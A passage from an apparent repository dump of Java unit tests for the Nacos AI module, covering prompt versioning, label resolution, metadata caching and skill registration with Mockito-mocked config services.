ArgumentCaptor<ConfigForm> formCaptor = ArgumentCaptor.forClass(ConfigForm.class);\n        verify(configOperationService).publishConfig(formCaptor.capture(), any(ConfigRequestInfo.class), eq(null));\n        PromptLabelVersionMapping written = com.alibaba.nacos.common.utils.JacksonUtils.toObj(\n                formCaptor.getValue().getContent(), PromptLabelVersionMapping.class);\n        assertNull(written.getLabels().get(\"prod\"));\n    }\n    \n    @Test\n    void deletePromptShouldDeleteMetaLatestAndAllVersionConfigs() throws NacosException {\n        String ns = \"public\";\n        String key = \"p1\";\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(key);\n        mapping.setVersions(new ArrayList<>(List.of(\"1.0.0\", \"2.0.0\")));\n        mapping.setLabels(new HashMap<>());\n        ConfigInfoWrapper metaConfig = new ConfigInfoWrapper();\n        metaConfig.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(mapping));\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildLabelVersionMappingDataId(key),\n                PROMPT_GROUP, ns)).thenReturn(metaConfig);\n        \n        service.deletePrompt(ns, key, \"u1\", \"127.0.0.1\");\n        \n        verify(configOperationService, times(5)).deleteConfig(anyString(), eq(PROMPT_GROUP), eq(ns), eq(null),\n                eq(\"127.0.0.1\"), eq(\"u1\"), eq(null));\n    }\n    \n    @Test\n    void updatePromptMetadataShouldPublishMergedMeta() throws NacosException {\n        String ns = \"public\";\n        String key = \"p1\";\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(key);\n        mapping.setVersions(new ArrayList<>(List.of(\"1.0.0\")));\n        mapping.setLabels(new HashMap<>());\n        PromptDescriptor descriptor = new PromptDescriptor();\n        descriptor.setPromptKey(key);\n        descriptor.setBizTags(new ArrayList<>(List.of(\"old\")));\n        descriptor.setDescription(\"old\");\n        ConfigInfoWrapper metaConfig = new ConfigInfoWrapper();\n        metaConfig.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(mapping));\n        ConfigInfoWrapper adminConfig = new ConfigInfoWrapper();\n        adminConfig.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(descriptor));\n        metaConfig.setMd5(\"m1\");\n        adminConfig.setMd5(\"m2\");\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildLabelVersionMappingDataId(key),\n                PROMPT_GROUP, ns)).thenReturn(metaConfig);\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildDescriptorDataId(key), PROMPT_GROUP,\n                ns)).thenReturn(adminConfig);\n        \n        service.updatePromptMetadata(ns, key, \"new\", List.of(\"a\", \"b\"), \"u1\", \"127.0.0.1\");\n        \n        ArgumentCaptor<ConfigForm> formCaptor = ArgumentCaptor.forClass(ConfigForm.class);\n        verify(configOperationService).publishConfig(formCaptor.capture(), any(ConfigRequestInfo.class), eq(null));\n        assertEquals(PromptDataIdUtils.buildDescriptorDataId(key), formCaptor.getValue().getDataId());\n        PromptDescriptor written = com.alibaba.nacos.common.utils.JacksonUtils.toObj(formCaptor.getValue().getContent(),\n                PromptDescriptor.class);\n        assertEquals(\"new\", written.getDescription());\n        assertEquals(2, written.getBizTags().size());\n    }\n    \n    @Test\n    void listPromptsShouldUseMetaPatternAndFilterInvalidJson() throws NacosException {\n        String ns = \"public\";\n        Page<ConfigInfo> page = new Page<>();\n        page.setPageNumber(1);\n        page.setPagesAvailable(1);\n        page.setTotalCount(2);\n        ConfigInfo ok = new ConfigInfo();\n        ok.setDataId(\"p1.descriptor.json\");\n        PromptDescriptor descriptor = new PromptDescriptor();\n        descriptor.setPromptKey(\"p1\");\n        descriptor.setBizTags(new ArrayList<>(List.of(\"x\")));\n        ok.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(descriptor));\n        ConfigInfo bad = new ConfigInfo();\n        bad.setDataId(\"p2.descriptor.json\");\n        bad.setContent(\"not-json\");\n        page.setPageItems(List.of(ok, bad));\n        when(configDetailService.findConfigInfoPage(eq(\"blur\"), eq(1), eq(10), eq(\"*p*.descriptor.json\"),\n                eq(PROMPT_GROUP), eq(ns), eq(null))).thenReturn(page);\n        ConfigInfoWrapper mappingConfig = new ConfigInfoWrapper();\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(\"p1\");\n        mapping.setLatestVersion(\"1.0.0\");\n        mappingConfig.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(mapping));\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildLabelVersionMappingDataId(\"p1\"),\n                PROMPT_GROUP, ns)).thenReturn(mappingConfig);\n        \n        Page<?> actual = service.listPrompts(ns, \"p\", \"blur\", null, 1, 10);\n        assertEquals(1, actual.getPageItems().size());\n    }\n    \n    @Test\n    void queryPromptDetailShouldThrowWhenVersionConfigMissing() {\n        String ns = \"public\";\n        String key = \"p1\";\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(key);\n        mapping.setVersions(new ArrayList<>(List.of(\"1.0.0\")));\n        mapping.setLabels(new HashMap<>());\n        mapping.setLatestVersion(\"1.0.0\");\n        ConfigInfoWrapper metaConfig = new ConfigInfoWrapper();\n        metaConfig.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(mapping));\n        when(configInfoPersistService.findConfigInfo(PromptDataIdUtils.buildLabelVersionMappingDataId(key),\n                PROMPT_GROUP, ns)).thenReturn(metaConfig);\n        when(configInfoPersistService.findConfigAllInfo(PromptDataIdUtils.buildVersionDataId(key, \"1.0.0\"),\n                PROMPT_GROUP, ns)).thenReturn(null);\n        \n        assertThrows(NacosException.class, () -> service.queryPromptDetail(ns, key, null, null));\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/prompt/PromptClientOperationServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.prompt;\n\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptLabelVersionMapping;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\nimport static org.mockito.Mockito.mockStatic;\n\n@ExtendWith(MockitoExtension.class)\nclass PromptClientOperationServiceImplTest {\n    \n    @Mock\n    private ConfigQueryChainService configQueryChainService;\n    \n    private PromptClientOperationServiceImpl service;\n    \n    @BeforeEach\n    void setUp() {\n        service = new PromptClientOperationServiceImpl(configQueryChainService);\n    }\n    \n    @Test\n    void queryPromptShouldThrowInvalidParamWhenPromptKeyBlank() {\n        assertThrows(NacosException.class, () -> service.queryPrompt(\"public\", \"\", null, null, null));\n    }\n    \n    @Test\n    void queryPromptShouldThrowNotFoundWhenMetaMissing() {\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class)))\n                .thenReturn(notFoundResponse());\n        assertThrows(NacosException.class, () -> service.queryPrompt(\"public\", \"p1\", null, null, null));\n    }\n    \n    @Test\n    void queryPromptShouldReturnPromptVersionInfoWhenLabelResolved() throws NacosException {\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(\"p1\");\n        mapping.setLabels(new HashMap<>());\n        mapping.getLabels().put(\"prod\", \"1.0.0\");\n        mapping.setVersions(new ArrayList<>());\n        mapping.getVersions().add(\"1.0.0\");\n        mapping.setLatestVersion(\"1.0.0\");\n        \n        PromptVersionInfo versionInfo = new PromptVersionInfo();\n        versionInfo.setVersion(\"1.0.0\");\n        versionInfo.setTemplate(\"hello\");\n        \n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class)))\n                .thenReturn(foundResponse(mapping, \"m-meta\"))\n                .thenReturn(foundResponse(versionInfo, \"m-ver\"));\n        \n        PromptVersionInfo actual = service.queryPrompt(\"public\", \"p1\", null, \"prod\", null);\n        \n        assertEquals(\"p1\", actual.getPromptKey());\n        assertEquals(\"1.0.0\", actual.getVersion());\n        assertEquals(\"hello\", actual.getTemplate());\n        assertEquals(\"m-ver\", actual.getMd5());\n    }\n    \n    @Test\n    void queryPromptShouldInvalidateMetaCacheWhenVersionDataMissing() throws Exception {\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(\"p1\");\n        mapping.setLabels(new HashMap<>());\n        mapping.setVersions(new ArrayList<>());\n        mapping.getVersions().add(\"1.0.0\");\n        mapping.setLatestVersion(\"1.0.0\");\n        String metaDataId = \"p1.label-version-mapping.json\";\n        String versionDataId = \"p1.1.0.0.json\";\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenAnswer(invocation -> {\n            ConfigQueryChainRequest request = invocation.getArgument(0);\n            if (metaDataId.equals(request.getDataId())) {\n                return foundResponse(mapping, \"m-meta\");\n            }\n            if (versionDataId.equals(request.getDataId())) {\n                return notFoundResponse();\n            }\n            return notFoundResponse();\n        });\n        service.getPromptMeta(\"public\", \"p1\");\n        assertEquals(1, getMetaCache().size());\n\n        assertThrows(NacosException.class, () -> service.queryPrompt(\"public\", \"p1\", \"1.0.0\", null, null));\n        \n        assertTrue(getMetaCache().isEmpty());\n    }\n    \n    @Test\n    void getPromptMetaShouldReturnCloneAndUseCache() throws Exception {\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(\"p1\");\n        mapping.setLabels(new HashMap<>());\n        mapping.getLabels().put(\"prod\", \"1.0.0\");\n        mapping.setVersions(new ArrayList<>());\n        mapping.getVersions().add(\"1.0.0\");\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class)))\n                .thenReturn(foundResponse(mapping, \"m-meta\"));\n        \n        PromptMetaInfo first = service.getPromptMeta(\"public\", \"p1\");\n        first.getLabels().put(\"gray\", \"2.0.0\");\n        \n        PromptMetaInfo second = service.getPromptMeta(\"public\", \"p1\");\n        assertNotNull(second.getLabels().get(\"prod\"));\n        assertEquals(null, second.getLabels().get(\"gray\"));\n        verify(configQueryChainService, times(1)).handle(any(ConfigQueryChainRequest.class));\n    }\n    \n    @Test\n    void queryPromptShouldThrowNotModifiedWhenMd5UpToDate() throws NacosException {\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(\"p1\");\n        mapping.setLabels(new HashMap<>());\n        mapping.setVersions(new ArrayList<>());\n        mapping.getVersions().add(\"1.0.0\");\n        mapping.setLatestVersion(\"1.0.0\");\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class)))\n                .thenReturn(foundResponse(mapping, \"m-meta\"));\n        String groupKey = GroupKey2.getKey(\"p1.1.0.0.json\", \"nacos-ai-prompt\", \"public\");\n        try (MockedStatic<ConfigCacheService> mocked = mockStatic(ConfigCacheService.class)) {\n            mocked.when(() -> ConfigCacheService.isUptodate(groupKey, \"m1\"))\n                    .thenReturn(true);\n            assertThrows(NacosException.class, () -> service.queryPrompt(\"public\", \"p1\", \"1.0.0\", null, \"m1\"));\n        }\n    }\n    \n    @Test\n    void getPromptMetaShouldReloadWhenCacheExpired() throws NacosException {\n        String oldExpire = System.getProperty(\"nacos.prompt.meta.cache.expireSeconds\");\n        System.setProperty(\"nacos.prompt.meta.cache.expireSeconds\", \"0\");\n        try {\n            PromptClientOperationServiceImpl expiredService = new PromptClientOperationServiceImpl(configQueryChainService);\n            PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n            mapping.setPromptKey(\"p1\");\n            mapping.setLabels(new HashMap<>());\n            mapping.setVersions(new ArrayList<>());\n            when(configQueryChainService.handle(any(ConfigQueryChainRequest.class)))\n                    .thenReturn(foundResponse(mapping, \"m1\"))\n                    .thenReturn(foundResponse(mapping, \"m2\"));\n            \n            expiredService.getPromptMeta(\"public\", \"p1\");\n            expiredService.getPromptMeta(\"public\", \"p1\");\n            \n            verify(configQueryChainService, times(2)).handle(any(ConfigQueryChainRequest.class));\n        } finally {\n            if (oldExpire == null) {\n                System.clearProperty(\"nacos.prompt.meta.cache.expireSeconds\");\n            } else {\n                System.setProperty(\"nacos.prompt.meta.cache.expireSeconds\", oldExpire);\n            }\n        }\n    }\n    \n    @Test\n    void invalidateMetaCacheShouldNoopWhenPromptKeyBlank() throws Exception {\n        PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n        mapping.setPromptKey(\"p1\");\n        mapping.setLabels(new HashMap<>());\n        mapping.setVersions(new ArrayList<>());\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class)))\n                .thenReturn(foundResponse(mapping, \"m1\"));\n        service.getPromptMeta(\"public\", \"p1\");\n        assertEquals(1, getMetaCache().size());\n        \n        service.invalidateMetaCache(\"public\", \"\");\n        \n        assertEquals(1, getMetaCache().size());\n    }\n    \n    @Test\n    void getPromptMetaShouldEvictWhenCacheReachMaxSize() throws Exception {\n        String oldMax = System.getProperty(\"nacos.prompt.meta.cache.maxSize\");\n        System.setProperty(\"nacos.prompt.meta.cache.maxSize\", \"1\");\n        try {\n            PromptClientOperationServiceImpl maxSizeService = new PromptClientOperationServiceImpl(configQueryChainService);\n            when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenAnswer(invocation -> {\n                ConfigQueryChainRequest req = invocation.getArgument(0);\n                PromptLabelVersionMapping mapping = new PromptLabelVersionMapping();\n                mapping.setPromptKey(req.getDataId().startsWith(\"p1\") ? \"p1\" : \"p2\");\n                mapping.setLabels(new HashMap<>());\n                mapping.setVersions(new ArrayList<>());\n                return foundResponse(mapping, \"m\");\n            });\n            \n            maxSizeService.getPromptMeta(\"public\", \"p1\");\n            maxSizeService.getPromptMeta(\"public\", \"p2\");\n            \n            Field field = PromptClientOperationServiceImpl.class.getDeclaredField(\"metaCache\");\n            field.setAccessible(true);\n            Map<?, ?> cache = (Map<?, ?>) field.get(maxSizeService);\n            assertEquals(1, cache.size());\n        } finally {\n            if (oldMax == null) {\n                System.clearProperty(\"nacos.prompt.meta.cache.maxSize\");\n            } else {\n                System.setProperty(\"nacos.prompt.meta.cache.maxSize\", oldMax);\n            }\n        }\n    }\n    \n    @SuppressWarnings(\"unchecked\")\n    private Map<String, Object> getMetaCache() throws Exception {\n        Field field = PromptClientOperationServiceImpl.class.getDeclaredField(\"metaCache\");\n        field.setAccessible(true);\n        return (Map<String, Object>) field.get(service);\n    }\n    \n    private ConfigQueryChainResponse foundResponse(Object content, String md5) {\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        response.setContent(com.alibaba.nacos.common.utils.JacksonUtils.toJson(content));\n        response.setMd5(md5);\n        return response;\n    }\n    \n    private ConfigQueryChainResponse notFoundResponse() {\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        return response;\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/prompt/PromptMetaCacheInvalidateServiceTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.prompt;\n\nimport com.alibaba.nacos.config.server.model.event.LocalDataChangeEvent;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\nclass PromptMetaCacheInvalidateServiceTest {\n    \n    @Mock\n    private PromptClientOperationService promptClientOperationService;\n    \n    private PromptMetaCacheInvalidateService service;\n    \n    @BeforeEach\n    void setUp() {\n        service = new PromptMetaCacheInvalidateService(promptClientOperationService);\n    }\n    \n    @Test\n    void onEventShouldIgnoreWhenGroupNotPromptGroup() {\n        LocalDataChangeEvent event = new LocalDataChangeEvent(\n                GroupKey.getKey(\"p1.label-version-mapping.json\", \"other-group\", \"public\"));\n        service.onEvent(event);\n        verify(promptClientOperationService, never()).invalidateMetaCache(\"public\", \"p1\");\n    }\n    \n    @Test\n    void onEventShouldIgnoreWhenDataIdNotMeta() {\n        LocalDataChangeEvent event = new LocalDataChangeEvent(GroupKey.getKey(\"p1.descriptor.json\", \"nacos-ai-prompt\", \"public\"));\n        service.onEvent(event);\n        verify(promptClientOperationService, never()).invalidateMetaCache(\"public\", \"p1\");\n    }\n    \n    @Test\n    void onEventShouldInvalidateCacheWhenMetaChanged() {\n        LocalDataChangeEvent event = new LocalDataChangeEvent(\n                GroupKey.getKey(\"p1.label-version-mapping.json\", \"nacos-ai-prompt\", \"public\"));\n        service.onEvent(event);\n        verify(promptClientOperationService).invalidateMetaCache(\"public\", \"p1\");\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/prompt/PromptMetaUtilsTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.prompt;\n\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass PromptMetaUtilsTest {\n    \n    @Test\n    void normalizeMetaShouldInitCollectionsWhenNullFields() {\n        PromptMetaInfo meta = new PromptMetaInfo();\n        PromptMetaInfo normalized = PromptMetaUtils.normalizeMeta(meta);\n        assertNotNull(normalized.getLabels());\n        assertNotNull(normalized.getVersions());\n        assertNotNull(normalized.getBizTags());\n    }\n    \n    @Test\n    void cloneMetaShouldDeepCopyCollections() {\n        PromptMetaInfo meta = new PromptMetaInfo();\n        meta.setPromptKey(\"p1\");\n        meta.setLabels(new HashMap<>());\n        meta.getLabels().put(\"prod\", \"1.0.0\");\n        meta.setVersions(new ArrayList<>(List.of(\"1.0.0\")));\n        meta.setBizTags(new ArrayList<>(List.of(\"finance\")));\n        \n        PromptMetaInfo copied = PromptMetaUtils.cloneMeta(meta);\n        copied.getLabels().put(\"gray\", \"1.0.1\");\n        copied.getVersions().add(\"1.0.1\");\n        copied.getBizTags().add(\"ops\");\n        \n        assertEquals(1, meta.getLabels().size());\n        assertEquals(1, meta.getVersions().size());\n        assertEquals(1, meta.getBizTags().size());\n    }\n    \n    @Test\n    void resolveTargetVersionShouldPreferLabelOverVersion() throws NacosException {\n        PromptMetaInfo meta = new PromptMetaInfo();\n        meta.setLabels(new HashMap<>());\n        meta.getLabels().put(\"prod\", \"2.0.0\");\n        meta.setVersions(new ArrayList<>(List.of(\"1.0.0\", \"2.0.0\")));\n        meta.setLatestVersion(\"2.0.0\");\n        String actual = PromptMetaUtils.resolveTargetVersion(meta, \"1.0.0\", \"prod\");\n        assertEquals(\"2.0.0\", actual);\n    }\n    \n    @Test\n    void resolveTargetVersionShouldThrowWhenLabelNotFound() {\n        PromptMetaInfo meta = new PromptMetaInfo();\n        meta.setLabels(new HashMap<>());\n        meta.setVersions(new ArrayList<>(List.of(\"1.0.0\")));\n        meta.setLatestVersion(\"1.0.0\");\n        assertThrows(NacosException.class, () -> PromptMetaUtils.resolveTargetVersion(meta, null, \"prod\"));\n    }\n    \n    @Test\n    void resolveTargetVersionShouldThrowWhenVersionInvalid() {\n        PromptMetaInfo meta = new PromptMetaInfo();\n        meta.setLabels(new HashMap<>());\n        meta.setVersions(new ArrayList<>(List.of(\"1.0.0\")));\n        meta.setLatestVersion(\"1.0.0\");\n        assertThrows(NacosException.class, () -> PromptMetaUtils.resolveTargetVersion(meta, \"1.0\", null));\n    }\n    \n    @Test\n    void resolveTargetVersionShouldFallbackToLatestOrThrow() throws NacosException {\n        PromptMetaInfo meta = new PromptMetaInfo();\n        meta.setLabels(new HashMap<>());\n        meta.setVersions(new ArrayList<>(List.of(\"1.0.0\")));\n        meta.setLatestVersion(\"1.0.0\");\n        assertEquals(\"1.0.0\", PromptMetaUtils.resolveTargetVersion(meta, null, null));\n        \n        meta.setLatestVersion(null);\n        NacosException ex = assertThrows(NacosException.class, () -> PromptMetaUtils.resolveTargetVersion(meta, null, null));\n        assertTrue(ex.getErrMsg().contains(\"latest version\"));\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/skills/SkillOperationServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.skills;\n\nimport com.alibaba.nacos.ai.service.SyncEffectService;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillBasicInfo;\nimport com.alibaba.nacos.api.ai.model.skills.SkillResource;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.exception.ConfigAlreadyExistsException;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.ArgumentCaptor;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.zip.ZipEntry;\nimport java.util.zip.ZipOutputStream;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.ArgumentMatchers.isNull;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n/**\n * Test for SkillOperationServiceImpl.\n *\n * @author nacos\n */\n@ExtendWith(MockitoExtension.class)\nclass SkillOperationServiceImplTest {\n    \n    @Mock\n    private ConfigQueryChainService configQueryChainService;\n    \n    @Mock\n    private ConfigOperationService configOperationService;\n    \n    @Mock\n    private ConfigInfoPersistService configInfoPersistService;\n    \n    @Mock\n    private SyncEffectService syncEffectService;\n    \n    private SkillOperationServiceImpl skillOperationService;\n    \n    @BeforeEach\n    void setUp() {\n        skillOperationService = new SkillOperationServiceImpl(\n                configQueryChainService,\n                configOperationService,\n                configInfoPersistService,\n                syncEffectService);\n    }\n    \n    @Test\n    void testRegisterSkillSuccessfully() throws NacosException {\n        // Given\n        Skill skill = createValidSkill();\n        String namespaceId = \"test-namespace\";\n        when(configOperationService.publishConfig(any(ConfigForm.class),\n                any(ConfigRequestInfo.class), isNull()))\n                .thenReturn(Boolean.TRUE);\n        \n        // When\n        String result = skillOperationService.registerSkill(skill, namespaceId);\n        \n        // Then\n        assertEquals(skill.getName(), result);\n        verify(configOperationService, times(1)).publishConfig(any(ConfigForm.class),\n                any(ConfigRequestInfo.class), isNull());\n        verify(syncEffectService, times(1)).toSync(any(ConfigForm.class), any(Long.class));\n    }\n    \n    @Test\n    void testRegisterSkillWithResources() throws NacosException {\n        // Given\n        Skill skill = createValidSkillWithResources();\n        String namespaceId = \"test-namespace\";\n        when(configOperationService.publishConfig(any(ConfigForm.class),\n                any(ConfigRequestInfo.class), isNull()))\n                .thenReturn(Boolean.TRUE);\n        \n        // When\n        String result = skillOperationService.registerSkill(skill, namespaceId);\n        \n        // Then\n        assertEquals(skill.getName(), result);\n        // Should publish main config + resource configs\n        verify(configOperationService, times(2)).publishConfig(any(ConfigForm.class),\n                any(ConfigRequestInfo.class), isNull());\n    }\n    \n    @Test\n    void testRegisterSkillWithBlankName() {\n        // Given\n        Skill skill = createValidSkill();\n        skill.setName(\"\");\n        String namespaceId = \"test-namespace\";\n        \n        // When & Then\n        NacosApiException exception = assertThrows(NacosApiException.class,\n                () -> skillOperationService.registerSkill(skill, namespaceId));\n        assertEquals(\"Skill name is required\", exception.getMessage());\n    }\n    \n    @Test\n    void testRegisterSkillWithInvalidName() {\n        // Given\n        Skill skill = createValidSkill();\n        skill.setName(\"invalid-name-123\"); // Contains numbers\n        String namespaceId = \"test-namespace\";\n        \n        // When & Then\n        assertThrows(NacosApiException.class,\n                () -> skillOperationService.registerSkill(skill, namespaceId));\n    }\n    \n    @Test\n    void testRegisterSkillWithDoubleUnderscore() throws NacosException {\n        // Given: skill name and resource names may contain double underscores\n        Skill skill = createValidSkill();\n        skill.setName(\"test__skill\"); // Contains double underscore\n        String namespaceId = \"test-namespace\";\n        when(configOperationService.publishConfig(any(ConfigForm.class),\n                any(ConfigRequestInfo.class), isNull()))\n                .thenReturn(Boolean.TRUE);\n        \n        // When\n        String result = skillOperationService.registerSkill(skill, namespaceId);\n        \n        // Then\n        assertEquals(\"test__skill\", result);\n    }\n    \n    @Test\n    void testRegisterSkillAlreadyExists() throws NacosException {\n        // Given\n        Skill skill = createValidSkill();\n        String namespaceId = \"test-namespace\";\n        when(configOperationService.publishConfig(any(ConfigForm.class),\n                any(ConfigRequestInfo.class), isNull()))\n                .thenThrow(new ConfigAlreadyExistsException(\"Config already exists\"));\n        \n        // When & Then\n        NacosApiException exception = assertThrows(NacosApiException.class,\n                () -> skillOperationService.registerSkill(skill, namespaceId));\n        assertEquals(NacosException.CONFLICT, exception.getErrCode());\n    }\n    \n    @Test\n    void testGetSkillDetailSuccessfully() throws NacosException {\n        // Given\n        String namespaceId = \"test-namespace\";\n        String skillName = \"test-skill\";\n        ConfigQueryChainResponse response = createMockConfigResponse();\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class)))\n                .thenReturn(response);\n        \n        // When\n        Skill skill = skillOperationService.getSkillDetail(namespaceId, skillName);\n        \n        // Then\n        assertNotNull(skill);\n        assertEquals(skillName, skill.getName());\n        assertEquals(\"Test description\", skill.getDescription());\n    }\n    \n    @Test\n    void 